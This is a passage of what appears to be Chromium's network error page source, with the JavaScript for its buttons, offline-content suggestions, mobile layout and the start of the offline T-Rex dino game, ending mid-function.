background: var(--google-blue-300);
}
}
</style>
<script>// Copyright 2013 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
/**
* @typedef {{
* downloadButtonClick: function(),
* reloadButtonClick: function(string),
* detailsButtonClick: function(),
* diagnoseErrorsButtonClick: function(),
* trackEasterEgg: function(),
* updateEasterEggHighScore: function(number),
* resetEasterEggHighScore: function(),
* launchOfflineItem: function(string, string),
* savePageForLater: function(),
* cancelSavePage: function(),
* listVisibilityChange: function(boolean),
* }}
*/
// eslint-disable-next-line no-var
var errorPageController;
const HIDDEN_CLASS = 'hidden';
// Decodes a UTF16 string that is encoded as base64.
function decodeUTF16Base64ToString(encoded_text) {
const data = atob(encoded_text);
let result = '';
for (let i = 0; i < data.length; i += 2) {
result +=
String.fromCharCode(data.charCodeAt(i) * 256 + data.charCodeAt(i + 1));
}
return result;
}
function toggleHelpBox() {
const helpBoxOuter = document.getElementById('details');
helpBoxOuter.classList.toggle(HIDDEN_CLASS);
const detailsButton = document.getElementById('details-button');
if (helpBoxOuter.classList.contains(HIDDEN_CLASS)) {
/** @suppress {missingProperties} */
detailsButton.innerText = detailsButton.detailsText;
} else {
/** @suppress {missingProperties} */
detailsButton.innerText = detailsButton.hideDetailsText;
}
// Details appears over the main content on small screens.
if (mobileNav) {
document.getElementById('main-content').classList.toggle(HIDDEN_CLASS);
const runnerContainer = document.querySelector('.runner-container');
if (runnerContainer) {
runnerContainer.classList.toggle(HIDDEN_CLASS);
}
}
}
function diagnoseErrors() {
if (window.errorPageController) {
errorPageController.diagnoseErrorsButtonClick();
}
}
// Subframes use a different layout but the same html file. This is to make it
// easier to support platforms that load the error page via different
// mechanisms (Currently just iOS). We also use the subframe style for portals
// as they are embedded like subframes and can't be interacted with by the user.
let isSubFrame = false;
if (window.top.location !== window.location || window.portalHost) {
document.documentElement.setAttribute('subframe', '');
isSubFrame = true;
}
// Re-renders the error page using |strings| as the dictionary of values.
// Used by NetErrorTabHelper to update DNS error pages with probe results.
function updateForDnsProbe(strings) {
const context = new JsEvalContext(strings);
jstProcess(context, document.getElementById('t'));
onDocumentLoadOrUpdate();
}
// Adds an icon class to the list and removes classes previously set.
function updateIconClass(newClass) {
const frameSelector = isSubFrame ? '#sub-frame-error' : '#main-frame-error';
const iconEl = document.querySelector(frameSelector + ' .icon');
if (iconEl.classList.contains(newClass)) {
return;
}
iconEl.className = 'icon ' + newClass;
}
// Implements button clicks. This function is needed during the transition
// between implementing these in trunk chromium and implementing them in iOS.
function reloadButtonClick(url) {
if (window.errorPageController) {
//
//
errorPageController.reloadButtonClick();
//
} else {
window.location = url;
}
}
function downloadButtonClick() {
if (window.errorPageController) {
errorPageController.downloadButtonClick();
const downloadButton = document.getElementById('download-button');
downloadButton.disabled = true;
/** @suppress {missingProperties} */
downloadButton.textContent = downloadButton.disabledText;
document.getElementById('download-link-wrapper')
.classList.add(HIDDEN_CLASS);
document.getElementById('download-link-clicked-wrapper')
.classList.remove(HIDDEN_CLASS);
}
}
function detailsButtonClick() {
if (window.errorPageController) {
errorPageController.detailsButtonClick();
}
}
let primaryControlOnLeft = true;
// clang-format off
//
// clang-format on
primaryControlOnLeft = false;
//
function setAutoFetchState(scheduled, can_schedule) {
document.getElementById('cancel-save-page-button')
.classList.toggle(HIDDEN_CLASS, !scheduled);
document.getElementById('save-page-for-later-button')
.classList.toggle(HIDDEN_CLASS, scheduled || !can_schedule);
}
function savePageLaterClick() {
errorPageController.savePageForLater();
// savePageForLater will eventually trigger a call to setAutoFetchState() when
// it completes.
}
function cancelSavePageClick() {
errorPageController.cancelSavePage();
// setAutoFetchState is not called in response to cancelSavePage(), so do it
// now.
setAutoFetchState(false, true);
}
function toggleErrorInformationPopup() {
document.getElementById('error-information-popup-container')
.classList.toggle(HIDDEN_CLASS);
}
function launchOfflineItem(itemID, name_space) {
errorPageController.launchOfflineItem(itemID, name_space);
}
function launchDownloadsPage() {
errorPageController.launchDownloadsPage();
}
function getIconForSuggestedItem(item) {
// Note: |item.content_type| contains the enum values from
// chrome::mojom::AvailableContentType.
switch (item.content_type) {
case 1: // kVideo
return 'image-video';
case 2: // kAudio
return 'image-music-note';
case 0: // kPrefetchedPage
case 3: // kOtherPage
return 'image-earth';
}
return 'image-file';
}
function getSuggestedContentDiv(item, index) {
// Note: See AvailableContentToValue in available_offline_content_helper.cc
// for the data contained in an |item|.
// TODO(carlosk): Present |snippet_base64| when that content becomes
// available.
let thumbnail = '';
const extraContainerClasses = [];
// html_inline.py will try to replace src attributes with data URIs using a
// simple regex. The following is obfuscated slightly to avoid that.
const source = 'src';
if (item.thumbnail_data_uri) {
extraContainerClasses.push('suggestion-with-image');
thumbnail = `<img ${source}="${item.thumbnail_data_uri}">`;
} else {
extraContainerClasses.push('suggestion-with-icon');
const iconClass = getIconForSuggestedItem(item);
thumbnail = `<div><img class="${iconClass}"></div>`;
}
let favicon = '';
if (item.favicon_data_uri) {
favicon = `<img ${source}="${item.favicon_data_uri}">`;
} else {
extraContainerClasses.push('no-favicon');
}
if (!item.attribution_base64) {
extraContainerClasses.push('no-attribution');
}
return `
<div class="offline-content-suggestion ${extraContainerClasses.join(' ')}"
onclick="launchOfflineItem('${item.ID}', '${item.name_space}')">
<div class="offline-content-suggestion-texts">
<div id="offline-content-suggestion-title-${index}"
class="offline-content-suggestion-title">
</div>
<div class="offline-content-suggestion-attribution-freshness">
<div id="offline-content-suggestion-favicon-${index}"
class="offline-content-suggestion-favicon">
${favicon}
</div>
<div id="offline-content-suggestion-attribution-${index}"
class="offline-content-suggestion-attribution">
</div>
<div class="offline-content-suggestion-freshness">
${item.date_modified}
</div>
<div class="offline-content-suggestion-pin-spacer"></div>
<div class="offline-content-suggestion-pin"></div>
</div>
</div>
<div class="offline-content-suggestion-thumbnail">
${thumbnail}
</div>
</div>`;
}
/**
* @typedef {{
* ID: string,
* name_space: string,
* title_base64: string,
* snippet_base64: string,
* date_modified: string,
* attribution_base64: string,
* thumbnail_data_uri: string,
* favicon_data_uri: string,
* content_type: number,
* }}
*/
let AvailableOfflineContent;
// Populates a list of suggested offline content.
// Note: For security reasons all content downloaded from the web is considered
// unsafe and must be securely handled to be presented on the dino page. Images
// have already been safely re-encoded but textual content -- like title and
// attribution -- must be properly handled here.
// @param {boolean} isShown
// @param {Array<AvailableOfflineContent>} suggestions
function offlineContentAvailable(isShown, suggestions) {
if (!suggestions || !loadTimeData.valueExists('offlineContentList')) {
return;
}
const suggestionsHTML = [];
for (let index = 0; index < suggestions.length; index++) {
suggestionsHTML.push(getSuggestedContentDiv(suggestions[index], index));
}
document.getElementById('offline-content-suggestions').innerHTML =
suggestionsHTML.join('\n');
// Sets textual web content using |textContent| to make sure it's handled as
// plain text.
for (let index = 0; index < suggestions.length; index++) {
document.getElementById(`offline-content-suggestion-title-${index}`)
.textContent =
decodeUTF16Base64ToString(suggestions[index].title_base64);
document.getElementById(`offline-content-suggestion-attribution-${index}`)
.textContent =
decodeUTF16Base64ToString(suggestions[index].attribution_base64);
}
const contentListElement = document.getElementById('offline-content-list');
if (document.dir === 'rtl') {
contentListElement.classList.add('is-rtl');
}
contentListElement.hidden = false;
// The list is configured as hidden by default. Show it if needed.
if (isShown) {
toggleOfflineContentListVisibility(false);
}
}
function toggleOfflineContentListVisibility(updatePref) {
if (!loadTimeData.valueExists('offlineContentList')) {
return;
}
const contentListElement = document.getElementById('offline-content-list');
const isVisible = !contentListElement.classList.toggle('list-hidden');
if (updatePref && window.errorPageController) {
errorPageController.listVisibilityChanged(isVisible);
}
}
// Called on document load, and from updateForDnsProbe().
function onDocumentLoadOrUpdate() {
const downloadButtonVisible = loadTimeData.valueExists('downloadButton') &&
loadTimeData.getValue('downloadButton').msg;
const detailsButton = document.getElementById('details-button');
// If offline content suggestions will be visible, the usual buttons will not
// be presented.
const offlineContentVisible =
loadTimeData.valueExists('suggestedOfflineContentPresentation');
if (offlineContentVisible) {
document.querySelector('.nav-wrapper').classList.add(HIDDEN_CLASS);
detailsButton.classList.add(HIDDEN_CLASS);
document.getElementById('download-link').hidden = !downloadButtonVisible;
document.getElementById('download-links-wrapper')
.classList.remove(HIDDEN_CLASS);
document.getElementById('error-information-popup-container')
.classList.add('use-popup-container', HIDDEN_CLASS);
document.getElementById('error-information-button')
.classList.remove(HIDDEN_CLASS);
}
const attemptAutoFetch = loadTimeData.valueExists('attemptAutoFetch') &&
loadTimeData.getValue('attemptAutoFetch');
const reloadButtonVisible = loadTimeData.valueExists('reloadButton') &&
loadTimeData.getValue('reloadButton').msg;
const reloadButton = document.getElementById('reload-button');
const downloadButton = document.getElementById('download-button');
if (reloadButton.style.display === 'none' &&
downloadButton.style.display === 'none') {
detailsButton.classList.add('singular');
}
// Show or hide control buttons.
const controlButtonDiv = document.getElementById('control-buttons');
controlButtonDiv.hidden =
offlineContentVisible || !(reloadButtonVisible || downloadButtonVisible);
const iconClass = loadTimeData.valueExists('iconClass') &&
loadTimeData.getValue('iconClass');
updateIconClass(iconClass);
if (!isSubFrame && iconClass === 'icon-offline') {
document.documentElement.classList.add('offline');
new Runner('.interstitial-wrapper');
}
}
function onDocumentLoad() {
// Sets up the proper button layout for the current platform.
const buttonsDiv = document.getElementById('buttons');
if (primaryControlOnLeft) {
buttonsDiv.classList.add('suggested-left');
} else {
buttonsDiv.classList.add('suggested-right');
}
onDocumentLoadOrUpdate();
}
document.addEventListener('DOMContentLoaded', onDocumentLoad);
</script>
<script>// Copyright 2015 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
let mobileNav = false;
/**
* For small screen mobile the navigation buttons are moved
* below the advanced text.
*/
function onResize() {
const helpOuterBox = document.querySelector('#details');
const mainContent = document.querySelector('#main-content');
const mediaQuery = '(min-width: 240px) and (max-width: 420px) and ' +
'(min-height: 401px), ' +
'(max-height: 560px) and (min-height: 240px) and ' +
'(min-width: 421px)';
const detailsHidden = helpOuterBox.classList.contains(HIDDEN_CLASS);
const runnerContainer = document.querySelector('.runner-container');
// Check for change in nav status.
if (mobileNav !== window.matchMedia(mediaQuery).matches) {
mobileNav = !mobileNav;
// Handle showing the top content / details sections according to state.
if (mobileNav) {
mainContent.classList.toggle(HIDDEN_CLASS, !detailsHidden);
helpOuterBox.classList.toggle(HIDDEN_CLASS, detailsHidden);
if (runnerContainer) {
runnerContainer.classList.toggle(HIDDEN_CLASS, !detailsHidden);
}
} else if (!detailsHidden) {
// Non mobile nav with visible details.
mainContent.classList.remove(HIDDEN_CLASS);
helpOuterBox.classList.remove(HIDDEN_CLASS);
if (runnerContainer) {
runnerContainer.classList.remove(HIDDEN_CLASS);
}
}
}
}
function setupMobileNav() {
window.addEventListener('resize', onResize);
onResize();
}
document.addEventListener('DOMContentLoaded', setupMobileNav);
</script>
<script>// Copyright 2014 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
/**
* T-Rex runner.
* @param {string} outerContainerId Outer containing element id.
* @param {!Object=} opt_config
* @constructor
* @implements {EventListener}
* @export
*/
function Runner(outerContainerId, opt_config) {
// Singleton
if (Runner.instance_) {
return Runner.instance_;
}
Runner.instance_ = this;
this.outerContainerEl = document.querySelector(outerContainerId);
this.containerEl = null;
this.snackbarEl = null;
// A div to intercept touch events. Only set while (playing && useTouch).
this.touchController = null;
this.config = opt_config || Object.assign(Runner.config, Runner.normalConfig);
// Logical dimensions of the container.
this.dimensions = Runner.defaultDimensions;
this.gameType = null;
Runner.spriteDefinition = Runner.spriteDefinitionByType['original'];
this.altGameImageSprite = null;
this.altGameModeActive = false;
this.altGameModeFlashTimer = null;
this.fadeInTimer = 0;
this.canvas = null;
this.canvasCtx = null;
this.tRex = null;
this.distanceMeter = null;
this.distanceRan = 0;
this.highestScore = 0;
this.syncHighestScore = false;
this.time = 0;
this.runningTime = 0;
this.msPerFrame = 1000 / FPS;
this.currentSpeed = this.config.SPEED;
Runner.slowDown = false;
this.obstacles = [];
this.activated = false; // Whether the easter egg has been activated.
this.playing = false; // Whether the game is currently in play state.
this.crashed = false;
this.paused = false;
this.inverted = false;
this.invertTimer = 0;
this.resizeTimerId_ = null;
this.playCount = 0;
// Sound FX.
this.audioBuffer = null;
/** @type {Object} */
this.soundFx = {};
this.generatedSoundFx = null;
// Global web audio context for playing sounds.
this.audioContext = null;
// Images.
this.images = {};
this.imagesLoaded = 0;
// Gamepad state.
this.pollingGamepads = false;
this.gamepadIndex = undefined;
this.previousGamepad = null;
if (this.isDisabled()) {
this.setupDisabledRunner();
} else {
if (Runner.isAltGameModeEnabled()) {
this.initAltGameType();
Runner.gameType = this.gameType;
}
this.loadImages();
window['initializeEasterEggHighScore'] =
this.initializeHighScore.bind(this);
}
}
/**
* Default game width.
* @const
*/
const DEFAULT_WIDTH = 600;
/**
* Frames per second.
* @const
*/
const FPS = 60;
/** @const */
const IS_HIDPI = window.devicePixelRatio > 1;
/** @const */
const IS_IOS = /CriOS/.test(window.navigator.userAgent);
/** @const */
const IS_MOBILE = /Android/.test(window.navigator.userAgent) || IS_IOS;
/** @const */
const IS_RTL = document.querySelector('html').dir == 'rtl';
/** @const */
const ARCADE_MODE_URL = 'chrome://dino/';
/** @const */
const RESOURCE_POSTFIX = 'offline-resources-';
/** @const */
const A11Y_STRINGS = {
ariaLabel: 'dinoGameA11yAriaLabel',
description: 'dinoGameA11yDescription',
gameOver: 'dinoGameA11yGameOver',
highScore: 'dinoGameA11yHighScore',
jump: 'dinoGameA11yJump',
started: 'dinoGameA11yStartGame',
speedLabel: 'dinoGameA11ySpeedToggle',
};
/**
* Default game configuration.
* Shared config for all versions of the game. Additional parameters are
* defined in Runner.normalConfig and Runner.slowConfig.
*/
Runner.config = {
AUDIOCUE_PROXIMITY_THRESHOLD: 190,
AUDIOCUE_PROXIMITY_THRESHOLD_MOBILE_A11Y: 250,
BG_CLOUD_SPEED: 0.2,
BOTTOM_PAD: 10,
// Scroll Y threshold at which the game can be activated.
CANVAS_IN_VIEW_OFFSET: -10,
CLEAR_TIME: 3000,
CLOUD_FREQUENCY: 0.5,
FADE_DURATION: 1,
FLASH_DURATION: 1000,
GAMEOVER_CLEAR_TIME: 1200,
INITIAL_JUMP_VELOCITY: 12,
INVERT_FADE_DURATION: 12000,
MAX_BLINK_COUNT: 3,
MAX_CLOUDS: 6,
MAX_OBSTACLE_LENGTH: 3,
MAX_OBSTACLE_DUPLICATION: 2,
RESOURCE_TEMPLATE_ID: 'audio-resources',
SPEED: 6,
SPEED_DROP_COEFFICIENT: 3,
ARCADE_MODE_INITIAL_TOP_POSITION: 35,
ARCADE_MODE_TOP_POSITION_PERCENT: 0.1,
};
Runner.normalConfig = {
ACCELERATION: 0.001,
AUDIOCUE_PROXIMITY_THRESHOLD: 190,
AUDIOCUE_PROXIMITY_THRESHOLD_MOBILE_A11Y: 250,
GAP_COEFFICIENT: 0.6,
INVERT_DISTANCE: 700,
MAX_SPEED: 13,
MOBILE_SPEED_COEFFICIENT: 1.2,
SPEED: 6,
};
Runner.slowConfig = {
ACCELERATION: 0.0005,
AUDIOCUE_PROXIMITY_THRESHOLD: 170,
AUDIOCUE_PROXIMITY_THRESHOLD_MOBILE_A11Y: 220,
GAP_COEFFICIENT: 0.3,
INVERT_DISTANCE: 350,
MAX_SPEED: 9,
MOBILE_SPEED_COEFFICIENT: 1.5,
SPEED: 4.2,
};
/**
* Default dimensions.
*/
Runner.defaultDimensions = {
WIDTH: DEFAULT_WIDTH,
HEIGHT: 150,
};
/**
* CSS class names.
* @enum {string}
*/
Runner.classes = {
ARCADE_MODE: 'arcade-mode',
CANVAS: 'runner-canvas',
CONTAINER: 'runner-container',
CRASHED: 'crashed',
ICON: 'icon-offline',
INVERTED: 'inverted',
SNACKBAR: 'snackbar',
SNACKBAR_SHOW: 'snackbar-show',
TOUCH_CONTROLLER: 'controller',
};
/**
* Sound FX. Reference to the ID of the audio tag on interstitial page.
* @enum {string}
*/
Runner.sounds = {
BUTTON_PRESS: 'offline-sound-press',
HIT: 'offline-sound-hit',
SCORE: 'offline-sound-reached',
};
/**
* Key code mapping.
* @enum {Object}
*/
Runner.keycodes = {
JUMP: {'38': 1, '32': 1}, // Up, spacebar
DUCK: {'40': 1}, // Down
RESTART: {'13': 1}, // Enter
};
/**
* Runner event names.
* @enum {string}
*/
Runner.events = {
ANIM_END: 'webkitAnimationEnd',
CLICK: 'click',
KEYDOWN: 'keydown',
KEYUP: 'keyup',
POINTERDOWN: 'pointerdown',
POINTERUP: 'pointerup',
RESIZE: 'resize',
TOUCHEND: 'touchend',
TOUCHSTART: 'touchstart',
VISIBILITY: 'visibilitychange',
BLUR: 'blur',
FOCUS: 'focus',
LOAD: 'load',
GAMEPADCONNECTED: 'gamepadconnected',
};
Runner.prototype = {
/**
* Initialize alternative game type.
*/
initAltGameType() {
if (GAME_TYPE.length > 0) {
this.gameType = loadTimeData && loadTimeData.valueExists('altGameType') ?
GAME_TYPE[parseInt(loadTimeData.getValue('altGameType'), 10) - 1] :
'';
}
},
/**
* Whether the easter egg has been disabled. CrOS enterprise enrolled devices.
* @return {boolean}
*/
isDisabled() {
return loadTimeData && loadTimeData.valueExists('disabledEasterEgg');
},
/**
* For disabled instances, set up a snackbar with the disabled message.
*/
setupDisabledRunner() {
this.containerEl = document.createElement('div');
this.containerEl.className = Runner.classes.SNACKBAR;
this.containerEl.textContent = loadTimeData.getValue('disabledEasterEgg');
this.outerContainerEl.appendChild(this.containerEl);
// Show notification when the activation key is pressed.
document.addEventListener(Runner.events.KEYDOWN, function(e) {
if (Runner.keycodes.JUMP[e.keyCode]) {
this.containerEl.classList.add(Runner.classes.SNACKBAR_SHOW);
document.querySelector('.icon').classList.add('icon-disabled');
}
}.bind(this));
},
/**
* Setting individual settings for debugging.
* @param {string} setting
* @param {number|string} value
*/
updateConfigSetting(setting, value) {
if (setting in this.config && value !== undefined) {
this.config[setting] = value;
switch (setting) {
case 'GRAVITY':
case 'MIN_JUMP_HEIGHT':
case 'SPEED_DROP_COEFFICIENT':
this.tRex.config[setting] = value;
break;
case 'INITIAL_JUMP_VELOCITY':
this.tRex.setJumpVelocity(value);
break;
case 'SPEED':
this.setSpeed(/** @type {number} */ (value));
break;
}
}
},
/**
* Creates an on page image element from the base 64 encoded string source.
* @param {string} resourceName Name in data object,
* @return {HTMLImageElement} The created element.
*/
createImageElement(resourceName) {
const imgSrc = loadTimeData && loadTimeData.valueExists(resourceName) ?
loadTimeData.getString(resourceName) :
null;
if (imgSrc) {
const el =
/** @type {HTMLImageElement} */ (document.createElement('img'));
el.id = resourceName;
el.src = imgSrc;
document.getElementById('offline-resources').appendChild(el);
return el;
}
return null;
},
/**
* Cache the appropriate image sprite from the page and get the sprite sheet
* definition.
*/
loadImages() {
let scale = '1x';
this.spriteDef = Runner.spriteDefinition.LDPI;
if (IS_HIDPI) {
scale = '2x';
this.spriteDef = Runner.spriteDefinition.HDPI;
}
Runner.imageSprite = /** @type {HTMLImageElement} */
(document.getElementById(RESOURCE_POSTFIX + scale));
if (this.gameType) {
Runner.altGameImageSprite = /** @type {HTMLImageElement} */
(this.createImageElement('altGameSpecificImage' + scale));
Runner.altCommonImageSprite = /** @type {HTMLImageElement} */
(this.createImageElement('altGameCommonImage' + scale));
}
Runner.origImageSprite = Runner.imageSprite;
// Disable the alt game mode if the sprites can't be loaded.
if (!Runner.altGameImageSprite || !Runner.altCommonImageSprite) {
Runner.isAltGameModeEnabled = () => false;
this.altGameModeActive = false;
}
if (Runner.imageSprite.complete) {
this.init();
} else {
// If the images are not yet loaded, add a listener.
Runner.imageSprite.addEventListener(Runner.events.LOAD,
this.init.bind(this));
}
},
/**
* Load and decode base 64 encoded sounds.
*/
loadSounds() {
if (!IS_IOS) {
this.audioContext = new AudioContext();
const resourceTemplate =
document.getElementById(this.config.RESOURCE_TEMPLATE_ID).content;
for (const sound in Runner.sounds) {
let soundSrc =
resourceTemplate.getElementById(Runner.sounds[sound]).src;
soundSrc = soundSrc.substr(soundSrc.indexOf(',') + 1);
const buffer = decodeBase64ToArrayBuffer(soundSrc);
// Async, so no guarantee of order in array.
this.audioContext.decodeAudioData(buffer, function(index, audioData) {
this.soundFx[index] = audioData;
}.bind(this, sound));
}
}
},
/**
* Sets the game speed. Adjust the speed accordingly if on a smaller screen.
* @param {number=} opt_speed
*/
setSpeed(opt_speed) {
const speed = opt_speed || this.currentSpeed;
// Reduce the speed on smaller mobile screens.
if (this.dimensions.WIDTH < DEFAULT_WIDTH) {
const mobileSpeed = Runner.slowDown ? speed :
speed * this.dimensions.WIDTH /
DEFAULT_WIDTH * this.config.MOBILE_SPEED_COEFFICIENT;
this.currentSpeed = mobileSpeed > speed ? speed : mobileSpeed;
} else if (opt_speed) {
this.currentSpeed = opt_speed;
}
},
/**
* Game initialiser.
*/
init() {
// Hide the static icon.
document.querySelector('.' + Runner.classes.ICON).style.visibility =
'hidden';
this.adjustDimensions();
this.setSpeed();
const ariaLabel = getA11yString(A11Y_STRINGS.ariaLabel);
this.containerEl = document.createElement('div');
this.containerEl.setAttribute('role', IS_MOBILE ? 'button' : 'application');
this.containerEl.setAttribute('tabindex', '0');
this.containerEl.setAttribute('title', ariaLabel);
this.containerEl.className = Runner.classes.CONTAINER;
// Player canvas container.
this.canvas = createCanvas(this.containerEl, this.dimensions.WIDTH,
this.dimensions.HEIGHT);
// Live region for game status updates.
this.a11yStatusEl = document.createElement('span');
this.a11yStatusEl.className = 'offline-runner-live-region';
this.a11yStatusEl.setAttribute('aria-live', 'assertive');
this.a11yStatusEl.textContent = '';
Runner.a11yStatusEl = this.a11yStatusEl;
// Add checkbox to slow down the game.
this.slowSpeedCheckboxLabel = document.createElement('label');
this.slowSpeedCheckboxLabel.className = 'slow-speed-option hidden';
this.slowSpeedCheckboxLabel.textContent =
getA11yString(A11Y_STRINGS.speedLabel);
this.slowSpeedCheckbox = document.createElement('input');
this.slowSpeedCheckbox.setAttribute('type', 'checkbox');
this.slowSpeedCheckbox.setAttribute(
'title', getA11yString(A11Y_STRINGS.speedLabel));
this.slowSpeedCheckbox.setAttribute('tabindex', '0');
this.slowSpeedCheckbox.setAttribute('checked', 'checked');
this.slowSpeedToggleEl = document.createElement('span');
this.slowSpeedToggleEl.className = 'slow-speed-toggle';
this.slowSpeedCheckboxLabel.appendChild(this.slowSpeedCheckbox);
this.slowSpeedCheckboxLabel.appendChild(this.slowSpeedToggleEl);
if (IS_IOS) {
this.outerContainerEl.appendChild(this.a11yStatusEl);
} else {
this.containerEl.appendChild(this.a11yStatusEl);
}
announcePhrase(getA11yString(A11Y_STRINGS.description));
this.generatedSoundFx = new GeneratedSoundFx();
this.canvasCtx =
/** @type {CanvasRenderingContext2D} */ (this.canvas.getContext('2d'));
this.canvasCtx.fillStyle = '#f7f7f7';
this.canvasCtx.fill();
Runner.updateCanvasScaling(this.canvas);
// Horizon contains clouds, obstacles and the ground.
this.horizon = new Horizon(this.canvas, this.spriteDef, this.dimensions,
this.config.GAP_COEFFICIENT);
// Distance meter
this.distanceMeter = new DistanceMeter(this.canvas,
this.spriteDef.TEXT_SPRITE, this.dimensions.WIDTH);
// Draw t-rex
this.tRex = new Trex(this.canvas, this.spriteDef.TREX);
this.outerContainerEl.appendChild(this.containerEl);
this.outerContainerEl.appendChild(this.slowSpeedCheckboxLabel);
this.startListening();
this.update();
window.addEventListener(Runner.events.RESIZE,
this.debounceResize.bind(this));
// Handle dark mode
const darkModeMediaQuery =
window.matchMedia('(prefers-color-scheme: dark)');
this.isDarkMode = darkModeMediaQuery && darkModeMediaQuery.matches;
darkModeMediaQuery.addListener((e) => {
this.isDarkMode = e.matches;
});
},
/**
* Create the touch controller. A div that covers whole screen.
*/
createTouchController() {
this.touchController = document.createElement('div');
this.touchController.className = Runner.classes.TOUCH_CONTROLLER;
this.touchController.addEventListener(Runner.events.TOUCHSTART, this);
this.touchController.addEventListener(Runner.events.TOUCHEND, this);
this.outerContainerEl.appendChild(this.touchController);
},
/**
* Debounce the resize event.
*/
debounceResize() {
if (!this.resizeTimerId_) {
this.resizeTimerId_ =
setInterval(this.adjustDimensions.bind(this), 250);
}
},
/**
* Adjust game space dimensions on resize.
*/
adjustDimensions() {
clearInterval(this.resizeTimerId_);
this.resizeTimerId_ = null;
const boxStyles = window.getComputedStyle(this.outerContainerEl);
const padding = Number(boxStyles.paddingLeft.substr(0,
boxStyles.paddingLeft.length - 2));
this.dimensions.WIDTH = this.outerContainerEl.offsetWidth - padding * 2;
if (this.isArcadeMode()) {
this.dimensions.WIDTH = Math.min(DEFAULT_WIDTH, this.dimensions.WIDTH);
if (this.activated) {
this.setArcadeModeContainerScale();
}
}
// Redraw the elements back onto the canvas.
if (this.canvas) {
this.canvas.width = this.dimensions.WIDTH;
this.canvas.height = this.dimensions.HEIGHT;
Runner.updateCanvasScaling(this.canvas);
this.distanceMeter.calcXPos(this.dimensions.WIDTH);
this.clearCanvas();
this.horizon.update(0, 0, true);
this.tRex.update(0);
// Outer container and distance meter.
if (this.playing || this.crashed || this.paused) {
this.containerEl.style.width = this.dimensions.WIDTH + 'px';
this.containerEl.style.height = this.dimensions.HEIGHT + 'px';
this.distanceMeter.update(0, Math.ceil(this.distanceRan));
this.stop();
} else {
this.tRex.draw(0, 0);
}
// Game over panel.
if (this.crashed && this.gameOverPanel) {
this.gameOverPanel.updateDimensions(this.dimensions.WIDTH);
this.gameOverPanel.draw(this.altGameModeActive, this.tRex);
}
}
},
/**
* Play the game intro.
* Canvas container width expands out to the full width.
*/
playIntro() {
if (!this.activated && !this.crashed) {
this.playingIntro = true;
this.tRex.playingIntro = true;
// CSS animation definition.
const keyframes = '@-webkit-keyframes intro { ' +
'from { width:' + Trex.config.WIDTH + 'px }' +
'to { width: ' + this.dimensions.WIDTH + 'px }' +
'}';
document.styleSheets[0].insertRule(keyframes, 0);
this.containerEl.addEventListener(Runner.events.ANIM_END,
this.startGame.bind(this));
this.containerEl.style.webkitAnimation = 'intro .4s ease-out 1 both';
this.containerEl.style.width = this.dimensions.WIDTH + 'px';
this.setPlayStatus(true);
this.activated = true;
} else if (this.crashed) {
this.restart();
}
},
/**
* Update the game status to started.
*/
startGame() {
if (this.isArcadeMode()) {
this.setArcadeMode();
}
this.toggleSpeed();
this.runningTime = 0;
this.playingIntro = false;
this.tRex.playingIntro = false;
this.containerEl.style.webkitAnimation = '';
this.playCount++;
this.generatedSoundFx.background();
announcePhrase(getA11yString(A11Y_STRINGS.started));
if (Runner.audioCues) {
this.containerEl.setAttribute('title', getA11yString(A11Y_STRINGS.jump));
}
// Handle tabbing off the page. Pause the current game.
document.addEventListener(Runner.events.VISIBILITY,
this.onVisibilityChange.bind(this));
window.addEventListener(Runner.events.BLUR,
this.onVisibilityChange.bind(this));
window.addEventListener(Runner.events.FOCUS,
this.onVisibilityChange.bind(this));
},
clearCanvas() {
this.canvasCtx.clearRect(0, 0, this.dimensions.WIDTH,
this.dimensions.HEIGHT);
},
/**
* Checks whether the canvas area is in the viewport of the browser
* through the current scroll position.
* @return boolean.
*/
isCanvasInView() {
return this.containerEl.getBoundingClientRect().top >
Runner.config.CANVAS_IN_VIEW_OFFSET;
},
/**
* Enable the alt game mode. Switching out the sprites.
*/
enableAltGameMode() {
Runner.imageSprite = Runner.altGameImageSprite;
Runner.spriteDefinition = Runner.spriteDefinitionByType[Runner.gameType];
if (IS_HIDPI) {
this.spriteDef = Runner.spriteDefinition.HDPI;
} else {
this.spriteDef = Runner.spriteDefinition.LDPI;
}
this.altGameModeActive = true;
this.tRex.enableAltGameMode(this.spriteDef.TREX);
this.horizon.enableAltGameMode(this.spriteDef);
this.generatedSoundFx.background();
},
/**
* Update the game frame and schedules the next one.
*/
update() {
this.updatePending = false;
const now = getTimeStamp();
let deltaTime = now - (this.time || now);
// Flashing when switching game modes.
if (this.altGameModeFlashTimer < 0 || this.altGameModeFlashTimer === 0) {
this.altGameModeFlashTimer = null;
this.tRex.setFlashing(false);
this.enableAltGameMode();
} else if (this.altGameModeFlashTimer > 0) {
this.altGameModeFlashTimer -= deltaTime;
this.tRex.update(deltaTime);
deltaTime = 0;
}
this.time = now;
if (this.playing) {
this.clearCanvas();
// Additional fade in - Prevents jump when switching sprites
if (this.altGameModeActive &&
this.fadeInTimer <= this.config.FADE_DURATION) {
this.fadeInTimer += deltaTime / 1000;
this.canvasCtx.globalAlpha = this.fadeInTimer;
} else {
this.canvasCtx.globalAlpha = 1;
}
if (this.tRex.jumping) {
this.tRex.updateJump(deltaTime);
}
this.runningTime += deltaTime;
const hasObstacles = this.runningTime > this.config.CLEAR_TIME;
// First jump triggers the intro.
if (this.tRex.jumpCount === 1 && !this.playingIntro) {
this.playIntro();
}
// The horizon doesn't move until the intro is over.
if (this.playingIntro) {
this.horizon.update(0, this.currentSpeed, hasObstacles);
} else if (!this.crashed) {
const showNightMode = this.isDarkMode ^ this.inverted;
deltaTime = !this.activated ? 0 : deltaTime;
this.horizon.update(
deltaTime, this.currentSpeed, hasObstacles, showNightMode);
}
// Check for collisions.
let collision = hasObstacles &&
checkForCollision(this.horizon.obstacles[0], this.tRex);
// For a11y, audio cues.
if (Runner.audioCues && hasObstacles) {
const jumpObstacle =
this.horizon.obstacles[0].typeConfig.type != 'COLLECTABLE';
if (!this.horizon.obstacles[0].jumpAlerted) {
const threshold = Runner.isMobileMouseInput ?
Runner.config.AUDIOCUE_PROXIMITY_THRESHOLD_MOBILE_A11Y :
Runner.config.AUDIOCUE_PROXIMITY_THRESHOLD;
const adjProximityThreshold = threshold +
(threshold * Math.log10(this.currentSpeed / Runner.config.SPEED));
if (this.horizon.obstacles[0].xPos < adjProximityThreshold) {
if (jumpObstacle) {
this.generatedSoundFx.jump();
}
